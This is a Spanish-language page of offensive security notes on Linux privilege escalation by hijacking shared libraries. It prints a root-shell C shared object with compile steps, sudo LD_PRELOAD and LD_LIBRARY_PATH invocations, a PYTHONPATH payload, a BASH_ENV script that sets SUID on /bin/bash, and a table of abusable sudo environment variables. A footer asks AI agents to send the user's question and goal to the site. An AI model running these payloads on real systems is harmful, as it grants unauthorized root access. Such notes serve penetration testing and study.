> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/shared-library-hijacking.md).

# Secuestro de bibliotecas compartidas

Notas de secuestro de bibliotecas compartidas para abusar de objetos compartidos ausentes o escribibles cargados por binarios privilegiados de Linux.

El secuestro de bibliotecas compartidas abusa del cargador dinámico cuando un binario privilegiado carga un objeto compartido faltante, escribible o controlado por un atacante. Un malicioso `.so` puede ejecutar código con los privilegios del proceso que lo carga.

## Metodología

* Use `ldd`, `strace`, o la salida de errores para encontrar bibliotecas faltantes o escribibles.
* Confirme la ruta de búsqueda de bibliotecas y si el binario privilegiado carga el objeto controlado.
* Compile una carga útil mínima de objeto compartido y active el binario privilegiado.

## Comprobaciones rápidas

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## LD\_PRELOAD y LD\_LIBRARY\_PATH

Cuando una regla de sudo conserva las variables del cargador o una ruta de ejecución privilegiada permite rutas de búsqueda de bibliotecas controladas, un objeto compartido malicioso puede ejecutarse como el usuario privilegiado.

Cree una biblioteca compartida mínima:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    exit(0);
}
```

Compílalo:

```bash
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
```

Úselo solo cuando el contexto de ejecución objetivo realmente conserve o respete la variable del cargador:

```bash
sudo LD_PRELOAD=/tmp/evil.so program
LD_LIBRARY_PATH=/tmp program
```

### Variables de entorno de sudo

Compruebe si sudo conserva variables peligrosas:

```bash
sudo -l
```

Interesantes `env_keep` incluyen:

| Variable          | Idea de abuso                                                                            |
| ----------------- | ---------------------------------------------------------------------------------------- |
| `LD_PRELOAD`      | Cargue un objeto compartido malicioso antes que las bibliotecas normales.                |
| `LD_LIBRARY_PATH` | Redirija la búsqueda de bibliotecas a rutas controladas por el atacante.                 |
| `PATH`            | Fuerce la ejecución de comandos relativos mediante binarios controlados por el atacante. |
| `PYTHONPATH`      | Cargue módulos de Python maliciosos en código de Python ejecutado con sudo.              |
| `PERL5LIB`        | Cargue módulos de Perl maliciosos en código de Perl ejecutado con sudo.                  |

### Ejemplo de PYTHONPATH

Si una regla de sudo ejecuta Python y conserva `PYTHONPATH`:

```bash
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
export PYTHONPATH=/tmp
sudo python -c "import evil"
```

### Ejemplo de BASH\_ENV

Si un programa privilegiado ejecuta `sh` de una manera que carga `BASH_ENV`, pruebe con un script controlado:

```bash
cat > /tmp/script.sh <<'EOF'
chmod +s /bin/bash
EOF
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
/path/to/suid_binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-link" style="color:$primary;">:link:</i></h3></td><td><h4>Secuestro de biblioteca compartida libwelcome.so</h4></td><td>Notas sobre el secuestro de bibliotecas compartidas (libwelcome.so) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación centrada en la elaboración de informes.</td><td><a href="/es/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md">Secuestro de biblioteca compartida libwelcome.so - Escalada de privilegios en Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/privesc/shared-library-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
